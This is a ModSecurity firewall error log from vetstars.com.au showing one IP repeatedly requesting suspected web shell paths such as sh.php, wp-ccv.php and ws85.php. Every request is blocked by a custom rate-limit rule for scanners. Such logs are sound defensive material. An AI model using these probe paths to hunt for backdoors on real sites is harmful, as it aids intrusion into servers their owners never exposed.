[Mon Apr 20 20:08:10.210189 2026] [:error] [pid 11350:tid 11379] [client 172.213.242.226:18266] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dgmry.php"] [unique_id "aeYXKv4EoMBgOJuJnT2eBgAAABQ"]
[Mon Apr 20 20:08:10.726442 2026] [:error] [pid 11351:tid 11395] [client 172.213.242.226:18219] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dgmry.php"] [unique_id "aeYXKgN8Z1-vktaI_tPyAwAAAEg"]
[Mon Apr 20 20:08:11.330955 2026] [:error] [pid 11350:tid 11360] [client 172.213.242.226:18126] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dgmry.php"] [unique_id "aeYXK_4EoMBgOJuJnT2eCwAAAAE"]
[Mon Apr 20 20:08:11.957766 2026] [:error] [pid 11350:tid 11382] [client 172.213.242.226:18129] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dgmry.php"] [unique_id "aeYXK_4EoMBgOJuJnT2eDgAAABc"]
[Mon Apr 20 20:08:12.615843 2026] [:error] [pid 11350:tid 11372] [client 172.213.242.226:18151] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-124.php"] [unique_id "aeYXLP4EoMBgOJuJnT2eEQAAAA0"]
[Mon Apr 20 20:08:13.219187 2026] [:error] [pid 11350:tid 11368] [client 172.213.242.226:18224] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-124.php"] [unique_id "aeYXLf4EoMBgOJuJnT2eFgAAAAk"]
[Mon Apr 20 20:08:15.478915 2026] [:error] [pid 11441:tid 11463] [client 172.213.242.226:18216] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-124.php"] [unique_id "aeYXL8ixByFUvmh319CTyQAAANQ"]
[Mon Apr 20 20:08:15.995907 2026] [:error] [pid 11494:tid 11501] [client 172.213.242.226:18115] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-124.php"] [unique_id "aeYXL8gko5iFiE8YoyTWGwAAAYU"]
[Mon Apr 20 20:08:16.546499 2026] [:error] [pid 11350:tid 11373] [client 172.213.242.226:18096] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aeYXMP4EoMBgOJuJnT2eJwAAAA4"]
[Mon Apr 20 20:08:17.080966 2026] [:error] [pid 11494:tid 11517] [client 172.213.242.226:18133] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aeYXMcgko5iFiE8YoyTWHAAAAZU"]
[Mon Apr 20 20:08:17.678145 2026] [:error] [pid 11351:tid 11407] [client 172.213.242.226:18220] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aeYXMQN8Z1-vktaI_tPyCgAAAFQ"]
[Mon Apr 20 20:08:18.393473 2026] [:error] [pid 11351:tid 11411] [client 172.213.242.226:13020] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aeYXMgN8Z1-vktaI_tPyCwAAAFg"]
[Mon Apr 20 20:08:19.706534 2026] [:error] [pid 11352:tid 11437] [client 172.213.242.226:18188] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ccv.php"] [unique_id "aeYXM2l10mhMSfJ7ir_RigAAAJc"]
[Mon Apr 20 20:08:20.265185 2026] [:error] [pid 11494:tid 11504] [client 172.213.242.226:18247] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ccv.php"] [unique_id "aeYXNMgko5iFiE8YoyTWIQAAAYg"]
[Mon Apr 20 20:08:20.865642 2026] [:error] [pid 11350:tid 11377] [client 172.213.242.226:18202] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ccv.php"] [unique_id "aeYXNP4EoMBgOJuJnT2eNgAAABI"]
[Mon Apr 20 20:08:21.372481 2026] [:error] [pid 11351:tid 11395] [client 172.213.242.226:18053] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ccv.php"] [unique_id "aeYXNQN8Z1-vktaI_tPyEQAAAEg"]
[Mon Apr 20 20:08:21.947210 2026] [:error] [pid 11494:tid 11510] [client 172.213.242.226:18103] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dqagu.php"] [unique_id "aeYXNcgko5iFiE8YoyTWJAAAAY4"]
[Mon Apr 20 20:09:10.395911 2026] [:error] [pid 11350:tid 11383] [client 172.213.242.226:18173] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "aeYXZv4EoMBgOJuJnT2e0wAAABg"]
[Mon Apr 20 20:09:11.538004 2026] [:error] [pid 11350:tid 11377] [client 172.213.242.226:18231] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "aeYXZ_4EoMBgOJuJnT2e1gAAABI"]
[Mon Apr 20 20:09:12.200878 2026] [:error] [pid 11350:tid 11370] [client 172.213.242.226:18051] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "aeYXaP4EoMBgOJuJnT2e2AAAAAs"]
[Mon Apr 20 20:09:12.757195 2026] [:error] [pid 11351:tid 11396] [client 172.213.242.226:18282] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "aeYXaAN8Z1-vktaI_tPy3gAAAEk"]
[Mon Apr 20 20:09:13.263976 2026] [:error] [pid 11350:tid 11368] [client 172.213.242.226:18091] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kandw.php"] [unique_id "aeYXaf4EoMBgOJuJnT2e2gAAAAk"]
[Mon Apr 20 20:09:13.824914 2026] [:error] [pid 11351:tid 11404] [client 172.213.242.226:18111] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kandw.php"] [unique_id "aeYXaQN8Z1-vktaI_tPy5QAAAFE"]
[Mon Apr 20 20:09:14.409421 2026] [:error] [pid 6928:tid 6930] [client 172.213.242.226:18165] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kandw.php"] [unique_id "aeYXah3y7MHq1iB0qYqnuAAAAUA"]
[Mon Apr 20 20:09:15.141761 2026] [:error] [pid 11351:tid 11407] [client 172.213.242.226:18301] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kandw.php"] [unique_id "aeYXawN8Z1-vktaI_tPy7QAAAFQ"]
[Mon Apr 20 20:09:15.687308 2026] [:error] [pid 11350:tid 11383] [client 172.213.242.226:18137] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/106.php"] [unique_id "aeYXa_4EoMBgOJuJnT2e4AAAABg"]
[Mon Apr 20 20:09:16.330270 2026] [:error] [pid 11441:tid 11451] [client 172.213.242.226:18121] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/106.php"] [unique_id "aeYXbMixByFUvmh319CT8AAAAMg"]
[Mon Apr 20 20:09:17.211916 2026] [:error] [pid 11350:tid 11371] [client 172.213.242.226:18138] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/106.php"] [unique_id "aeYXbf4EoMBgOJuJnT2e4QAAAAw"]
[Mon Apr 20 20:09:18.025903 2026] [:error] [pid 11441:tid 11449] [client 172.213.242.226:18244] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/106.php"] [unique_id "aeYXbsixByFUvmh319CT8QAAAMY"]
[Mon Apr 20 20:09:18.738038 2026] [:error] [pid 42014:tid 42022] [client 172.213.242.226:18110] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ppxhp.php"] [unique_id "aeYXbsek-00-ZI0f1Np6XQAAAQY"]
[Mon Apr 20 20:09:19.447987 2026] [:error] [pid 11494:tid 11520] [client 172.213.242.226:18120] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ppxhp.php"] [unique_id "aeYXb8gko5iFiE8YoyTWRgAAAZg"]
[Mon Apr 20 20:09:21.258049 2026] [:error] [pid 6928:tid 6942] [client 172.213.242.226:18238] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ppxhp.php"] [unique_id "aeYXcR3y7MHq1iB0qYqnugAAAUw"]
[Mon Apr 20 20:09:21.873517 2026] [:error] [pid 42014:tid 42025] [client 172.213.242.226:18065] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ppxhp.php"] [unique_id "aeYXccek-00-ZI0f1Np6YAAAAQk"]
[Mon Apr 20 20:09:23.086635 2026] [:error] [pid 11350:tid 11366] [client 172.213.242.226:18056] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aeYXc_4EoMBgOJuJnT2e4gAAAAc"]
[Mon Apr 20 20:09:23.741943 2026] [:error] [pid 11350:tid 11378] [client 172.213.242.226:18229] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aeYXc_4EoMBgOJuJnT2e5AAAABM"]
[Mon Apr 20 20:09:24.323953 2026] [:error] [pid 11350:tid 11372] [client 172.213.242.226:18185] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aeYXdP4EoMBgOJuJnT2e5QAAAA0"]
[Mon Apr 20 20:09:24.844734 2026] [:error] [pid 11441:tid 11465] [client 172.213.242.226:18074] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aeYXdMixByFUvmh319CT8wAAANY"]
[Mon Apr 20 20:09:25.625836 2026] [:error] [pid 11350:tid 11368] [client 172.213.242.226:18070] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gbhyv.php"] [unique_id "aeYXdf4EoMBgOJuJnT2e5wAAAAk"]
[Mon Apr 20 20:09:26.147204 2026] [:error] [pid 11350:tid 11375] [client 172.213.242.226:18149] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gbhyv.php"] [unique_id "aeYXdv4EoMBgOJuJnT2e6AAAABA"]
[Mon Apr 20 20:09:26.666817 2026] [:error] [pid 11352:tid 11438] [client 172.213.242.226:18225] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gbhyv.php"] [unique_id "aeYXdml10mhMSfJ7ir_RmQAAAJg"]
[Mon Apr 20 20:09:27.202394 2026] [:error] [pid 11350:tid 11374] [client 172.213.242.226:18223] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gbhyv.php"] [unique_id "aeYXd_4EoMBgOJuJnT2e6QAAAA8"]
[Mon Apr 20 20:09:27.828605 2026] [:error] [pid 11494:tid 11509] [client 172.213.242.226:18153] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sh.php"] [unique_id "aeYXd8gko5iFiE8YoyTWSAAAAY0"]
[Mon Apr 20 20:09:28.364362 2026] [:error] [pid 11351:tid 11406] [client 172.213.242.226:18135] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sh.php"] [unique_id "aeYXeAN8Z1-vktaI_tPy_wAAAFM"]
[Mon Apr 20 20:09:28.955008 2026] [:error] [pid 11350:tid 11365] [client 172.213.242.226:18233] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sh.php"] [unique_id "aeYXeP4EoMBgOJuJnT2e6wAAAAY"]
[Mon Apr 20 20:09:29.554692 2026] [:error] [pid 11350:tid 11360] [client 172.213.242.226:18058] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sh.php"] [unique_id "aeYXef4EoMBgOJuJnT2e7AAAAAE"]
[Mon Apr 20 20:09:30.140126 2026] [:error] [pid 11350:tid 11369] [client 172.213.242.226:18145] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jvtsa.php"] [unique_id "aeYXev4EoMBgOJuJnT2e7QAAAAo"]
[Mon Apr 20 20:09:30.693004 2026] [:error] [pid 11441:tid 11461] [client 172.213.242.226:18252] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jvtsa.php"] [unique_id "aeYXesixByFUvmh319CT9gAAANI"]
[Mon Apr 20 20:09:31.348070 2026] [:error] [pid 11350:tid 11379] [client 172.213.242.226:18171] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jvtsa.php"] [unique_id "aeYXe_4EoMBgOJuJnT2e7wAAABQ"]
[Mon Apr 20 20:09:31.953799 2026] [:error] [pid 11494:tid 11500] [client 172.213.242.226:12974] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jvtsa.php"] [unique_id "aeYXe8gko5iFiE8YoyTWTQAAAYQ"]
[Mon Apr 20 20:09:32.542305 2026] [:error] [pid 11494:tid 11506] [client 172.213.242.226:18136] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "aeYXfMgko5iFiE8YoyTWTwAAAYo"]
[Mon Apr 20 20:09:33.090251 2026] [:error] [pid 11350:tid 11377] [client 172.213.242.226:18100] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "aeYXff4EoMBgOJuJnT2e9AAAABI"]
[Mon Apr 20 20:09:33.602446 2026] [:error] [pid 11441:tid 11452] [client 172.213.242.226:18150] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "aeYXfcixByFUvmh319CT-wAAAMk"]
[Mon Apr 20 20:09:34.164704 2026] [:error] [pid 42014:tid 42039] [client 172.213.242.226:18089] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "aeYXfsek-00-ZI0f1Np6YwAAARc"]
[Mon Apr 20 20:09:35.028287 2026] [:error] [pid 11350:tid 11363] [client 172.213.242.226:18164] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oco.php"] [unique_id "aeYXf_4EoMBgOJuJnT2e9wAAAAQ"]
[Mon Apr 20 20:09:35.644721 2026] [:error] [pid 6928:tid 6941] [client 172.213.242.226:12999] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oco.php"] [unique_id "aeYXfx3y7MHq1iB0qYqnxAAAAUs"]
[Mon Apr 20 20:09:36.610899 2026] [:error] [pid 11350:tid 11381] [client 172.213.242.226:18147] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oco.php"] [unique_id "aeYXgP4EoMBgOJuJnT2e-QAAABY"]
